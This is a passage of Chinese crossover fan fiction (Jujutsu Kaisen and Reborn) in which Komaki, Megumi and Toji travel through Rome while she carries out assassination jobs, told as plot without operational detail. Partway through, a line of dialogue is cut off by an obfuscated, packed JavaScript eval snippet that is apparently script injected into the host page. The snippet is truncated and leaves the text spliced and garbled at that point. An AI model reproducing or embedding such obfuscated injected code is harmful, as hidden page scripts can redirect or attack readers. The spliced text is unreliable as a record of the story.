“你愿意这么说我很感激,但事情不是这样的。因为生长环境还有一些其他因素介入,有些人拥有超过一个伴侣在我看来并不惊世骇俗,令我觉得为难的不仅是你的态度还有你和甚尔世俗伦理上的关系……还有一点在于我自己。维持亲近的关系耗时耗力,我不想像阿纲和哲也那样,坦白说,我也不想给别人很多爱,伴侣于我而言一个足够,没有也无妨。即使不是出自忠贞的美德与自我约束的操守,和你在一起的最开始,我就没有考虑过别人。而在和甚尔分手的时候,我就已经下定决心不要回头了。” “在这个年代,当一些人说起【下定决心】的时候,他们可能只是在信口胡诌,没有价值。但是对我而言,我是希望一切尽在掌握之中的。当我决定要做什么事的时候,我希望我能不遗余力地去贯彻,我会期待不分心只往前走的我自己。当我和他说出分手的时候,当我和你在一起的时候,所言所行皆出自本心,如果连这些都可以变更,我应该怎么面对二三其德的自己呢?在小的时候我觉得这个世界很危险,没有弱小的我的容身之所,所以希望我自己能成为在面幻莫测世道里不变不移的支柱,只支撑我自己也就够了。现在看来,在此刻的摇摆不定下,就像少年心志的出言不逊侃侃而谈人遭受了社会的真实毒打一样,我比我所期待的,平庸得多。” 小莳是强调自我的主体地位的,所以她清楚即便男友愿意将一切归咎于自己,她自己也有很大责任。接受了伏黑甚尔,岂非就是否定了以前的她自己,又再一次失去了掌控权。 伏黑惠时常觉得自己的恋情特殊,这并不是传统朝夕相处的校园恋情,她也不算是他的同学,而他对她了解也不太多,只知道她有个普通的母亲和一个看起来普通的兄长,实际上泽田纲吉大抵完全不是那样。他们在一切水到渠成前就匆匆做了更亲密的事情,这总让他为难,让他觉得自己意志不够坚定,不够有担当,不够……如自己期待的那样做一个负责任的人。这是小莳头一次说起关于她是怎样的人,她想成为什么样的人,也是这时他惊奇的发现,像她这样的人也会有此般懊恼和困惑。 他看见旁边的桌面上,女友的白皙手指捏着餐刀在盘里画圈,偶尔发出叮的碰撞,和传统餐桌礼仪格格不入的摆弄餐具。她的神情里也有倦怠,可他并不认为这有损她魅力分毫。因这也只能说明在声名之下,他恋慕的女孩也只是寻常人类,还没完全长大。 但和平庸大约还有几光年距离。伏黑惠只是听着,也不反驳,到最后他说:“没关系,我会陪着你的。” 小莳说好。 88. 第 88 章 小莳一天都没离开房间,没什么心情带男友出门观光,“明天一定,有个任务目标明天去罗马,运气好的话可以暴走三个景点。我帮我们定了早上十点的机票。” “……”他还是不太习惯能随意把人命关天的事情挂在嘴上。“那……他呢?” “帮他续五天,五天以后的事第五天再想。”她指的是酒店房间。 非常贴合泽田小莳的办事风格。 “那我们要和他说吗?” “当然不,我赌他不会因为语言不通吃不上饭。” …… 夜里,女友贴着他的肩膀沉沉睡去,伏黑惠想起了清晨发生的事情。今天她一天都没有问,他也没提起。 他以前怨怼过这位不熟的父亲。首先,他不回家,没有小孩喜欢不回家的家长;其次,在他离开后家里就很快没钱了,两个小朋友没有创收的希望,即便后来知道了并不是有人卷款逃跑,而是不幸离开人世,他也仍觉得这人作为父亲失职--至少得把发卖小孩的钱留下些补贴家用吧;最后,惠是女孩子的名字,他谈不上喜欢。还在正常上学的时候经常被误会,令人不快。 后来他的父亲算是在涩谷帮了点小忙。他此后特地去了解了一下,失控的降灵术,甚少有此类记载,但已知的案例中无人恢复意识,像失控的机器,发疯的野生动物,直到被杀死。如果当时伏黑甚尔没及时清醒过来,伏黑惠想,自己一定会死。还有在那之后,那人的…… 他不再恨他了。 再后来,他遇到了小莳,那个此后再也没出现过的男人的前女友。他接近她,观察她,渴慕她,然后得偿所愿。 现在那个在他世界里去世了十一年的男人回来了,他依然年轻。在早上,那人敲响了他们的房门,小莳还在酣眠,他披上浴袍去开门,伏黑甚尔在看见他以后目光立刻就往房里看去,在门口并不能看到卧室,却能看见他深夜叠放好在客厅柜台上的整齐衣物。 它们昨天还穿在小莳身上。 * 次日,小莳早七点半在餐厅遇见伏黑甚尔,她还和他打了招呼。对方自觉端着盘子坐在她和男友对面时她也什么都没说。 八点,她在取款机里提出了3000欧巨款,随身携带房卡的小莳用卡打开了头一天属于自己的套房,将卡和捆好的现金一同遗留在茶几上。她刻意没有考虑此刻的情景像什么。 九点,他们到达机场。安检后伏黑惠和她问起任务目标区的情况,将死之人的信息不能在她脑袋里留下太深的印象,她只简要说明一二点:“是个没有价值又恰巧很坏的家伙。悟和你说过高层的事情吗?他们中的大部分也很坏,但存在尚且有价值,得慢慢来,不能一下全干掉。而这位……人口和违禁药品的事情,在现在终于可以清算,瓦利亚,方便,快捷,罗马到巴勒莫的快递都没我们高效。”因为快递员不坐飞机。 他还是不习惯这类冒犯的笑点,不过延后执行的观点倒是认可,正义不总会在应当作用的时候在场,因为这是一个实力至上的世界:在秩序中,权力与道德缺一不可。伏黑惠提出想要跟随她一起去执行,如果方便的话。 “可以,结束以后我们一起去万神殿,我想去尝一尝那边金贵的MAMO。我选罗马西西里味。” 他于是知道了这大概是某种食物,更精确点,在景点附近售卖的便于边走边吃的,大概率是特色冰激凌,默默跟着读音搜索,果然出现的是Gelato。 小莳凑过来看他的手机,“甜度很高,你要吃吗?要的话我推荐你吃薄荷巧克力,因为那个我也想尝尝。” “难得来罗马不吃特产就亏了”这样的想法和女朋友直白的诉求表述,伏黑惠觉得自己买一个也无妨,就算他不爱甜食。 十点,二人登机。 十一点半,小莳拉着伏黑惠的手低头导航,“任务目标也要吃饭,那附近没什么空旷的大楼视野开阔可以狙击--”她的肩膀被一只手搭上。 小莳转头:“……” “嗨,中午好。” 中午坏。“你怎么会出现在这里?”这里是西西里?他们还在卡塔尼亚?她看到伏黑甚尔的时候一瞬间精神错乱。 “啊,你说这个啊。”伏黑甚尔的手印在嘴角,说:“因为想你了。” “……” 她总在遇到这个男人时脑袋转不过弯,伏黑惠出声打断:“我们去哪家餐厅?”帮助小莳从不能回应的话题里逃脱出来。 最后三人一起上了车,小莳坐在副驾驶,她给司机报了个地址,就没再说话。 任务目标在人生的最后时刻做了点好事,多亏了有他在,小莳不用过多思考关于男人的事情,在车上她实体化了一个定位窃听装置,几年没做有点手生。 下车时,她已经是另外一副面貌,一个红发绿眼的自然卷女人,体态丰腴,戴着淡色时髦墨镜。两位同伴都不是少见多怪的类型,表面上都没露出陌生的神色,他们跟着小莳进入了餐厅。 点单完毕,服务员带走菜单,小莳明知故问询问了洗手间方位,在路上不小心碰到任务目标旁魁梧的保镖--他还挺敬业,原本她想直接在目标身上定位的。 碰瓷被撞破,她只是夸张的抬起两只手表示并非故意,加上语气惶恐与他道歉,在她走过时,装置已经贴在了保镖的衣领下。在厕所间戴上耳机,将头发调整好,回餐桌的路上和保镖对视,她撅起嘴,伸出湿漉漉的手掌送了一个飞吻给他。对方面色无变化扭头,专注雇主。 她的嘴唇上是新补的口红,色号时下流行。见对方这表现她就知道自己没引起怀疑,花枝招展地回到属于自己那桌,自顾自开始吃起了刚上的餐包。“大概一点可以出发去万神殿。”一句话就定下了此人的死亡时间。 离开的时候,小莳微笑着和服务员夸赞起这里浓汤的水准,远超她在家乡所喝到的任何一款。此时几十米远处的保镖因为一分钟还没传来冲水的声音正往厕所内走去,任务目标的女儿在将一勺奶酪涂抹在薄饼上。 出门后,一玻璃之隔的餐厅内闹哄哄起来,小莳只惊讶地耸耸肩,转身和两位同行者上了掐着时间点打到的车。 不起眼的黑色轿车很快融入车流。 司机与她闲聊:“他们两个长得挺像的,哪个是你男朋友?你们吵架和好了?” 这位黑色皮肤的工装男是瓦利亚内部最激XANXUS厨,列维。小莳没想到这次后勤部队人员里有他。一般来说,列维是大开大合然后闯祸的那个,不会把他安排到不希望引起关注的暗杀行动中。她摘下耳机丢在驾驶座旁的篓子里。 人高马大,长得也凶,看上去像删监控到最后给漏掉些证据的不专业人员。唯一的好消息是他不爱在她面前说日语,如果来的是其他部队成员,说不定开口就是所有人都能听懂的东方语言。 “年轻的,我喜欢年轻的男生。咒术师。”小莳翻出手机:“我没留下什么痕迹,保镖身上的窃听装置也自行消解了。送我们去万神庙,MAMO,我特地留着肚子没吃甜点。” “下个路口你们就可以下车。” “不行,来都来了,你得送我到地方才行。”她说完后才和后座介绍自己的前同事:“是我以前在意大利勤工俭学时期的同事,这位是雷系专精,实力不错,但团欺。可能是办公室爱上已婚领导的副作用,大家都知道他对上司有种狂热,都不喜欢他。”她要是个导演,一定是蒙太奇大师,说不定能拿奥斯卡。 列维:“我会说日语……”他的剑被留在了西西里,因为过不了安检,这次没坐私人飞机。现在能做的只有捏紧方向盘。 “也可能是因为得罪了嫂子。列维他……”小莳讲述了不存在的记忆中列维曾经在瓦利亚城堡外竖起【我不认可十代首领】的旗子。千万不能掺和情侣内斗,不然人以后和好了,会有人成小丑。 是谁捏? 小莳的心情愉悦起来。她在下车后还想赠送一个球给列维,对方直接关上车窗头都没掉就开走了。节约了7欧,她用这钱赠与了伏黑甚尔一个。 “如果你不想吃就扔掉。”她特地买了和自己的同款口味,生怕对方乱说什么想尝一口你的,或者什么问她要不要尝尝其他口味。她会不知道该怎么回答。 但和担忧的不一样,伏黑甚尔安安静静的,并不让她困扰。他什么也不说,接过甜筒,只跟在他们身后,沉默着参与了一下午的整段游览。 “万神庙始建于公元前27年,用作供奉众神。”伏黑惠给小莳介绍着景点的情况。 她问:“你提前做功课的?” “嗯,因为之前你就说要来。” “真是可靠。关于万神庙我只知道哈德良重建了它,在那之后的一千九百年就不太清楚了。” “是,在公元118年左右重修,现在里面廊柱的砖头都是那时候的产物。” 小莳给他介绍自己知晓这些的缘由:“因为我以前读过一本书叫《哈德良回忆录》,里面提到他通过将先人的名字雕刻在石板上,表明自己作为大业继承者对前代君王挑剔又赞赏的评估。作为时间次序上的后来者但有着居高临下的自信,我很喜欢这些描述。” “他的回忆录也留存下来了?” “哈哈,不是,一个法国人写的。大概就70年前,但是是很了不起的作品。” 现下并不是游客多的时节,当晚小莳又无预约住到了酒店套房。在伏黑甚尔提出三人可以住一间套房时,小莳说:“有你这句话,我这一生都会努力赚钱不陷入贫困中的。另外如果你的房间不用我掏钱,也能省下两千。” 伏黑甚尔接过她甩来的单据,看见价格就不吭声了。他算是知道以前在赤司征臣的多重封锁下,她的大小姐作风是怎么养成的了,原来根源不在京都。 伏黑惠在进房后问她这里一晚的价格,这的装潢比起卡塔尼亚又昂贵不少,她说:“没多少钱,我就吓吓他,让他少说两句。睡觉的时候想到他在隔壁……我觉得不要。” 但想也知道价格确实不菲,他在心里补充。 伏黑惠转身拧开矿泉水的时候指出:“你并不讨厌他,小莳。” 这她现在不得不承认。“但我也不太想见到他。” 晚上,伏黑惠代为传达了来自五条老师的消息,小莳已经两天没回他消息,没回任何人消息,领域也禁止进入。小莳搪塞:“没办法,手机丢了。” 他不戳穿,只是把老师的账号推送给她:“自从羂索伏诛后,五条老师回国就没清闲过,我来意大利后他也是刚刚才联系我。”算来也已经两天多,现在还是东京的凌晨,想必是本来忙碌的工作又因为部门整顿更加繁忙。 “这么说来当初还是我劝他干掉几个的呢,不知道现在总监部怎么样了。” 伏黑惠说可能撕破脸了,但比起拼死搏杀的祓除业务来说,人类之间的关系应当和缓得多。小莳这就明白还是有人愿意谈一谈。她摇摇头就把这件事情抛到脑后,也浑然忘记自己当时的约定:她出国怎么想都有五条悟的功劳,所以这是一种延迟履行,不是毁约。等她决定去东京时一定帮五条悟酌情处理些小麻烦。 她发出了好友申请。然后接受了五条悟海量的控诉和抱怨。小莳把手机调整静音,凑过去让伏黑惠调出他与五条悟的聊天页面:“他怎么对你就说那么少?明明你们关系更好些。”结果全是岁月静好的恋爱小妙招和不知道从哪里看来的油管视频链接。 她点开自己的,里面主旨是:杀不完,根本杀不完,我怎么这么苦啊~ 伏黑惠露出了别扭的神情:“没有,也就一般。因为老师觉得小莳见过了很多,也更成熟可靠。” 她挑眉:“看不出来你们感情挺好,能让你这么害羞。不过我和小时候带过我的人现在关系都不错……不知道白兰有没有从平行世界回来。希望他带了些好东西,想看。” 他没再反驳,入睡时,将小莳揽在怀中,相拥而眠。 来罗马的第二天,看了许愿池,斗兽场,剩下的时间在商业区消磨。伏黑甚尔一直双手插兜跟在后头,如果不是他顺便制服了一个试图偷钱包的家伙,小莳根本不会注意到。伏黑惠最后的干净衣服也穿在身上了,双肩包里背不下太多,小莳帮他买了一件。而伏黑甚尔…… 念在他算是出手帮忙,免去了试衣环节,询问店员买了两件大差不差的尺码,出门时把袋子交给他。他勾起笑沉默拿过。 晚上,当男友问起酒店洗衣房在哪里时,她理所当然回答不知道,“出门在外旧衣服扔掉就好了,不太会出汗的天气衣服可以换着穿。” 伏黑惠选择洗衣服。小莳叹了口气把浴袍换成便于出门的服装:“这里的洗衣机按键可不是日文,我猜你同样不擅长英语,对吧?”毕竟是专科院校。 她也带上了自己的脏衣服。路过属于伏黑甚尔的房间时,他的房门正好打开,小莳不会笨到以为这是巧合,在对方的晚间问候同时,她面无表情询问他要不要一起去洗衣服。 要人命的五感,不知道他以前怎么能做到已听不回的。小莳撇嘴,很快有意识地抹去显现的过去记忆。小莳没有相关经验,到达后才从服务人员那里听说酒店为套房用户提供专业送洗服务,并且不额外收取费用。这些事情以往都由奈亚操办。 现在她是三人里唯一能填表的。为了节约笔墨,她把所有衣服登记在一张表格上,但是关于浣洗方式。。“70%绵混真丝算什么材质?”她问了三人里面家务经验最多的伏黑甚尔。 他说不知道,并且主动爆料自己曾经的敷衍:“我以前一般都按照贵的处理,公寓里洗不了就联系干洗店,他们会自己根据情况选择。” 这件棉混真丝恰好属于伏黑甚尔,小莳觉得不值得为他思考,她在棉后打了勾。“哦,谢谢你的细心工作。” 衣服会于明早九点前送到房间,小莳的房间。 她和伏黑惠说明了情况:“这下你放心了吧,没有任何无辜的衣服会进到垃圾桶。” 伏黑甚尔在两人亲密的氛围边上靠墙抱胸:“果然是因为他才出来的,如果只有你的话大概会直接扔掉。” 忍受了一天的小尾巴,小莳已经不像刚开始一样没话说,她现在,找回了自己:“哇~你好懂哦~和你恋爱一定特别幸福吧~” “……” “……” 次日早,小莳懒得下餐厅,她电话里要了一份沙拉和马里托佐面包。她和伏黑惠热情推荐自己很喜欢的朴素面包:黄油面包,奶油和水果的简单搭配,但味道却能让一代又一代人喜欢。 “具体的起源我没兴趣研究,但Maritozzo里面包含了marito这个词,它是意大利语里面丈夫的意思,据说有人会在奶油里塞戒指求婚。”但万一被求婚的人吃得太开心把戒指吞下去怎么办?或者磕了牙? 伏黑惠一听见求婚脸有些红,小莳嘴角沾着奶油凑过去:“怎么,你想我和你求婚吗?真遗憾,你还没到年纪呢。” 他亲吻了近在咫尺的红嘴唇。 早餐后,她问他:“你想去给他送衣服吗?”她不想。 伏黑惠过了一会才回答:“你去吧。” 小莳在伏黑惠身上看到一种不得已的贤惠,她敏捷地跨在他身上,肆无忌惮发散魅力:“我们可以明天就去日本,十几个小时的航班我不能坐经济舱,今天没票了。如果你想走的话,我陪你回去。正好悟正在迫切地想给我安排工作,虽然给他介绍了奈亚,但他也有并盛的一些事务,还有上学出勤……” 在男友惊讶抬头的同时,她补充:“是的,我每天都会看机票。明天有一班10:35,回去以后正好是东京的第二天早上。我们房间的窗户是老式的,楼下也是,可以安全跳下去再乘电梯。这里往后的事宜可以交给我的一些朋友们--他们恰好在罗马定居。” 伏黑惠听了还在愣神,半晌后才重复她的话:“你每天都会看机票?” “嗯哼。” “……我觉得这样没有意义,他还会追上来的。”小莳在听见后嘀咕“这你可不知道。” 伏黑惠接着说:“只要他一直像这样,即使不是今天,总有一天你也会再次,再次爱上他吧?我知道的,小莳,你其实没有忘掉他。” “我可以忘掉他。”隔了会她在后面补充了一个大概,又过了会她说:“我也没爱过他,最多最多是吊桥效应带来的机缘,你可能从五条悟那里听说过我被绑架的惨状,事情就是那样无聊,作为普通人,重复着一天又一天勉强活下来的人生,所以我无论如何都要回来啊!” “但即使这样,你也没想过要否认那两年的生活,对吧?”伏黑惠低声问她,“那都是已经发生过的事情,而你们最终又相遇。”他这两天时刻会疑心,自己才是不必要的那个。五条老师并不知道伏黑甚尔已经再次发现小莳,所以那时他说的有关伏黑甚尔的一切,都出自真心。 “……” “去吧,小莳。早些回来,我想去咖啡店。”他在她额头印上嘴唇,一次又一次。 * 又是一次没敲门对方就主动打开的蹩脚偶遇:“真巧啊。” “不巧,你在蹲点。”不要把天赋用在奇怪的地方啊,他是就搬个小板凳在门口听脚步吗?而且小莳也不觉得自己有什么脚步声--酒店都铺设了地毯,她没刻意发出声响,理当一点声音也没有。 小莳把管家叠的整齐的衣服往伏黑甚尔身上一丢,被他随手接下:“我以为你不想见到我,会打发惠送过来呢。” 他都知道,小嘴还在这叭叭叭,“是啊,事与愿违。”转身准备离开的时候却被拽着手腕的力道阻拦。 “别走。”不知道什么时候衣服已经被他丢到一边,他一手扶房门,一手拉小莳,静静打量她的脸,他说得认真,意志与决心在他没什么表情的脸上显现:“我很高兴你能来,出现在这的人是你,对我意义重大。我会让你幸福的,不会再令你伤心。” 她听见这话一下就抽回手:“你好像弄错了一点。并不是有谁【让我幸福】,是我自己取得了幸福。你?最多只是我给了你一个随我左右的机会,充其量只是点缀。别想着摆弄我!” 信幸福是别人给的,不如做赤司征臣女儿过一辈子。 他低下头蹭她的头发,将人拉近,直到拥她入怀:“好。让我在你身边,我会因为你而幸福的。只要这样就足够。” 小莳最后还是把手环在伏黑甚尔的后腰上,至此,完成一个拥抱。 在那之后三个人跌跌撞撞算是度过了别扭的几天,男士们之间偶尔交流,别扭的主要是小莳一个人。她起初拒绝公共场合与伏黑甚尔的一切肢体接触,只是手指的相碰都让她触电一般立刻收回,在他说话时她也常佯装没听见,愈发粘着不太说话的伏黑惠。比起单纯的表达爱意,这更像一种代偿,小莳也明白,可她需要这样来让自己感觉好受些。伏黑惠觉得她无措但佯装坚定的样子十分像同龄人,她不再像远处遥不可及的存在,隔阂的距离感被消抹,她只是在他身边。这样反而更令他有实感……这想法或多或少有些可悲,但伏黑惠放任了自己内心的怯懦,他对此感觉良好。小莳喜欢他,愿意为情感负责,不会离开他,他觉得这样就好。 伏黑甚尔表现出极强的耐力和稳定的情绪。被甩开手的几十次后,他总是又能在自认为恰当的时机再次伸出手,牵住小莳,然后再被甩开,或者甩开后再打一下。她并不讨厌他,他乐此不疲。于他而言这是一场正餐开始前的前菜,些许辛辣刺激的口感会让后面的一切得以烘托,更值期待。 到了伏黑惠脱产离校的第八天,他宣布了不日将离开意大利回到日本。在这一点上小莳和他一点默契也没有:“你这么快就答应悟回去了?我还说下周带你一起回去呢,首都没什么有趣的地方了,我想带你去瓦利亚,最近队员们罕见的都没出差。” 伏黑惠稍微有点理解了当自己提出要带小莳见津美纪时她的抵触情绪从何而来,他对彭哥列的精锐,号称成功率90%以上才会行动的冷酷独立暗杀部队成员兴趣不大,据他所知,里面有一个很擅长物理激励下属的领导;一个嗓门很大但是人最好的二把手,其他没对上人,但是收藏人体和王子大概配对不上,总之本来就不爱社交,更不想和一看就带来压力的人交往。 “……下次吧。前两天虎杖和钉崎也说最近太忙了,问我什么时候回去。”钱也很多,诚邀他回去一起赚大钱,伏黑惠觉得自己有必要攒些。 “那我送你去机场,你打算定什么时候的机票?”小莳一拍手,帮他敲定了回东京的事情。 离开那天,小莳暴躁拒绝了伏黑甚尔的陪伴,勒令他在酒店里哪也别想去,他问:“那你什么时候回来?” “闭嘴,别问,别跟上。” “啊,好凶,今晚我可以和你睡吗?” “不行。” “哦。”伏黑甚尔应一声,然后话锋一转:“我想你了。” 小莳对这招已经免疫:“也没人拦着你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“而且在一个完全语言不通的地方,即便没有社交欲望人也会不安的,等上飞机空乘们肯定有日本的,到那个时候就可以放心看书或者听音乐了。”过了一道安检口,小莳从包里抽出前两天买的书,“反正惠也不相信书上写的内容,不如一步到位,直接看小说。全都是假的。” 女朋友留的说好话空间实在不多,伏黑惠斟酌着说出:“在这里买到外语书费心了,我会在飞机上看的。” “不看也没关系,我只是最近有点触景生情。” “嗯?” “被甚尔找上门的时候一度想逃到那不勒斯,然后想到了那不勒斯四部曲,想到这本书的一个观点是--用七海的话来说【那不勒斯是狗屎,但仔细一想世界上每个地方都和那不勒斯一样,实在不行就在那不勒斯凑合吧,或者彻底消失。】,不知道你有没有听过他劳动就是不值得的独特叙述,总之书里的一些精神面貌和七海海挺搭的,一个学不会逃避的现实主义者,想到这里我又觉得还是别去了,所以我到现在也没有去那不勒斯。但书挺有趣,我以前看的时候会难受。” 她的想法是伏黑惠不太能理解的跨越,像钢琴谱上外行人看不懂的音阶,蹦蹦又跳跳。 候机的临别时刻,他还是流露一些不舍,不知道如何用语言表达,伏黑惠只说感谢:“谢谢你选择这样的我。” 小莳:“啊?” 他红着脸又说:“谢谢你愿意和没什么特别之处的我在一起,我很感激。我会在东京等你。” “……”这种话要不然还是留着婚礼致辞的时候再说,而且“你这样的人哪里算是没有特别之处了?谁和你说的?五条悟吗?” 五条悟说的话可不能都信:“他从自己出发可不是看谁都平平无奇。” 他低下头看鞋带:“和老师没关系,我自己清楚我的实力不拔尖,性格也不受欢迎。” 小莳觉得自己一不小心又了解了男友一点,如果他不是个咒术师,现在很有可能已经是不少咒灵的衣食父母了兼助产士了。消极情绪不少。 “你说的也没错。16岁的学生,谁拔尖也轮不到你的,我像你这么大的时候还在因为逃课被喊家长。结果只见到助理,在被传达没收手机禁闭一周的期间,我没见过父亲一面。”虽然也不想见到赤司征臣就是了,“不过他的批评与指责都如数传到我耳朵里,可不止不拔尖那么简单。” “……” “你是不是以为我接下来要说你是一个幸运儿,所以别难受了?” “……”他沉默。这是无声肯定的态度。 被这份安静狠狠低估了。 “就算是话疗,我的话术也不可能这么糟糕吧!”小莳大吃一惊,“烦恼又不会凭空和别人的不幸消消乐,不然大家都去找比较惨的人哭诉一番就好了。我就是刚好想到16岁所以分享一下,没有对你成长的烦恼指手画脚的意思。” 她什么都不想说反而让伏黑惠别扭起来:“你不想劝劝我吗?” “那个啊,我怕劝着劝着吵起来,有的时候我感觉自己和青少年已经想不到一块去了,不硬融。而且……我才反应过来,惠惠你刚才那个,其实是在表达不舍对吧!你在舍不得我吗?”小莳的眼睛亮晶晶,盯着他。 他拉高外套拉链说:“没有。” 她笑嘻嘻在他脸上亲了一下:“我当然会想你,等我处理完一些事情就去高专找你,顺便开始我在咒术界的外包人生。” 伏黑惠先前不知道小莳在这里还有业务,便问她:“我之前来这里影响到你工作了吗?” “没有,你帮助一些人多享受了些人生,他们该感谢你呢。”现在小福星要回国咯~ “……” “不过说真的,以后关于自己平平无奇的评价还是少说,我担心你被孤立。”小莳建议他,“你与强者的实力差距源于年岁不高,这不代表你缺少过人的天赋。相反,把我见过的能过特级的术式拎出来看看,我没觉得有比得过十影的。被你说出【我好普通哦】的话,简直就像在社会新闻上看见谁家财团继承人说‘我不缺钱但缺很多很多爱’一样。这样说话会被大家讨厌的。” “说得太过了,”伏黑惠很认真地说,他也有他固执的一面:“十影并不像你期待的那样强,没有人比我更清楚。” 哦,那你是个榆木脑袋。此时,小莳正听见广播里传来提示登机的信息,休息室里面孔陌生的人有些整好行李拖箱子出门。商务舱的检票开始了。 无知,会扰乱甚至排除一些情绪,让它在暗处积压。她以前总在观察,却什么也不做,这也是一种缺位。在那次甚尔指出后她就知道他此言非虚。她想,承认自己曾经的不足也没什么了不起的。更重要的是,现在她可以不假装自己只是颇有微词。也就是这个时候,小莳决定说些什么。 她拦住伏黑惠起身的动作,将他牢牢推在椅背上。 “现在是检票时--”说话被小莳蛮横地打断:“听着,一般遇到这些事我是不乐意去管的,谁有什么样的想法都很正常,地球上可是有70亿人类。” “但你确实有点特殊,我不愿意看到我的男朋友在一个与事实相去甚远的茧房里瞎苦恼……大概甚尔稍微点醒了我,我姑且在这里承认前人栽树后人乘凉的道理。总之接下来的话我只说一遍,不会延误上机,而且你再也不会从其他地方听见我说这些了。” 小莳语速飞快,仿佛在被看不见的存在追赶。 “先说谁都没办法越过的最强。五条家的家传术式是无下限,而百年之隔间或出现的六眼是它的最佳搭配。并且一般来说掌握无下限术式的历代家主们都会术式顺转和反转,还有鲜为人知的虚式,现在也不算秘密了,那家伙动不动就发茈……这些你都知道,但你有稍微思考过其中的联系吗?术式顺转不必多言,可术式反转则需要将反转术式注入生得术式中,难度不小。当前世界中的千万名咒术师中,顺利掌握反转术式的有多少?答案是寥寥可数。那你觉得在五条家的人会比其他咒术师更加擅长学习反转术式吗?要是有这种好事的话禅院和加茂家早就闹翻天要学了。然而术式反转【赫】在御三家范围内不算秘密,众人都默认它是无下限+六眼的好伴侣。皆知无下限要配六眼才能最大限度发挥,但关于反转术式的部分反而轻轻带过,好像谁自然而然就学会了。” “悟会带墨镜,或者眼罩,因为六眼的情报负荷会让大脑疲惫。他现在已经掌握了反转术式,也仍然摆脱不了信息过量的负担。那么听了这些,你觉得他们默认五条家传特征和术式持有者往往都掌握反转术式的原因是什么?你觉得曾经在历史上出现过的无下限术式持有者和无下限+六眼但没掌握反转术式的人,他们都去了哪里?我先说,他们都死了,但我猜前者只在家史里寥寥几笔带过,后者死在中年前,因为没有反转术式修复身体的人,总会有点健康上的小问题。这种集齐三要素才能无后遗症发挥作用的术式怎么想都是一场无法叫停的豪赌,从诞生起,倒计时就开始了。听起来也太不吉利了!” “其次是杰,收服就能使用最后还能超级合成极之番很酷,但是吃点好的吧……一手可靠情报,那东西味道像烂抹布擦呕吐物,虽然听起来不如英年早逝凄惨但也太丢人了,这味道足够让青少年的心理扭曲。然后是乙骨,我觉得他和虎杖挺像的,像就像在十五岁开局一个死刑。一年前经鉴定这一切和祈本里香本人没有关系,但是开始对于他的审判可是实打实差点让他离开世界,说到虎杖……他身体里可是有个千岁老人,还吃了古董,哎,还有死缓在身,你让让他。” “还有其他人吗?没了吧,我不认识九十九由基,先不说她术式的不好。总之,你可以说人生经历一些磨难是好事,但比起无论如何都要越过的高峰,更多人还是希望自己的前进之路是坦途偏多,不仅是自己,还有亲人、伙伴。对于你来说,你会希望虎杖其实在那天没有拿走神龛里宿傩的手指,而你们顺利重新封印了它吗?他不会成为咒术师,也不会和你有交集,只是在你去仙台的那天擦肩而过了。如果你有过这样的希望,那你也应该明白,十种影法术的珍贵之处。你的每一个式神都是你的伙伴,调伏过后你可以随心使用他们,你可以用术式弥补身体力量所不能及的地方,你可以在不掌握反转术式的时候享受它的成果。这一切的一切,都不需要额外支付代价,它不会伤害到你,因为这是在出生的时候就定下的事情。” “好好享受这些宝贵的财富,不多说了,你一路顺风。”小莳离开的背影也像一阵风,吹开门,然后就不见了。 89. 第 89 章 从机场回去后小莳就办理了退房,有个人在她昨天躺过的床上睡大觉:“别睡了,直升机油要烧没了。”今天晚上她在莫利塞(意大利一个区,和罗马不太远所以可以坐直升机去)和人有约,而对方还不知道。礼貌的小女孩总会早做准备。 “你回来了,我差点以为你会跟着一起去东京。” “路上堵车。”小莳在伏黑甚尔的目光注视下摸了下嘴角,将残留的一点碎屑抹掉,淡定解释。他现在厉害了,还会阴阳人了。 他从床上起来后没着急收东西,慢悠悠赤脚走进浴室:“哦。你的任务?” “是啊,金牌hitman的时间被你的刷牙浪费,你能快点嘛。我想早点、收工。”今日厌班情绪适中,但是她不想八点以后还没安顿。 他嘴里含着泡沫,但她全听清了:“你怎么不在前几天做这些。” “怕你不知道,友情提醒你一下,你儿子才16。”她又不是什么表现欲爆棚的家伙,伏黑惠明显对这些业务工作有些……才不需要在对方的不舒适领域里彰显存在感,“让他作为正常人长大吧。” “我16已经在躯俱留待了很长时间了。” “大人,时代变了。现在是2019。”小莳对看人洗漱兴趣缺缺,“还有--等等,你用的是谁的牙刷?” 伏黑甚尔叼住柄,空手指了指她。 小莳的笑容凝固,她冷冰冰地说:“吐出来。” 冷若冰霜的脸并没有吓退16岁就有两年以上工作经验的伏黑甚尔,他还在她背过身去拒绝交流时问:“你刚刚还想说什么?” “你好了没?好了就走,没好我一个人走。” 他说:“好了,我们去哪?当然,都听你的,我只是好奇。” 小莳于是生出一种心里有气但是又不好发泄的郁闷,她暗恨伏黑甚尔这家伙话术娴熟到令人讨厌的地步,快步甩开一段距离,又很快被对方惊人的步履拉近。 “我刚刚刷牙是因为,”他说到这里停顿,见小莳没给他一点反应,不妨碍地继续往下说:“我想亲你。” 她上直升机就戴上航空耳机,只和前排飞行员下达了几句简短的指令,也不理伏黑甚尔。 他在航行过程中自己摸索着打开了麦克风,若无其事开口,和小莳说起前两天她在罗马那家餐厅的案件,只要他想,他是能把握说话的尺度的,也知道什么样的发言即使在愠怒中的女孩也能给以回应。 小莳于是放下刚刚的不愉快,扶着耳机说起自己的手法。主要是幻术,她本来想亲自练练手,但下午还有旅游景点指标,便掩护着在附近等待的同伴避过众人的视线与监控行动。 “你怎么知道他一定会去厕所,这是什么意大利的习俗吗?” “不算习俗,他菜里被加了点东西。这是有科学依据的。就算他是个狠人--我们也在车下面放了点可以送他上天的玩意,只不过司机和同行女伴也就一并被卷入,怎么说冤有头债有主,我们希望连带伤害……总之,别那么张扬。谢天谢地他真是个好雇主,好父亲。据我所知,那孩子才刚从米理毕业。”至于为什么不中毒死亡……前者还有法医能检验,现在那人只是【失踪】,没必要给对方的势力太多信息,放暗箭的人当然也明白暗箭难防的道理。 今晚是一场血宴。欢饮的奉承原本是和谐的交响乐,直到小莳给了在场的众多目标每人一个标记,她化身成端盘子上菜的侍女,对所有人的吃东西时或狼吞虎咽或装腔拿调故作优雅的面相嗤之以鼻。 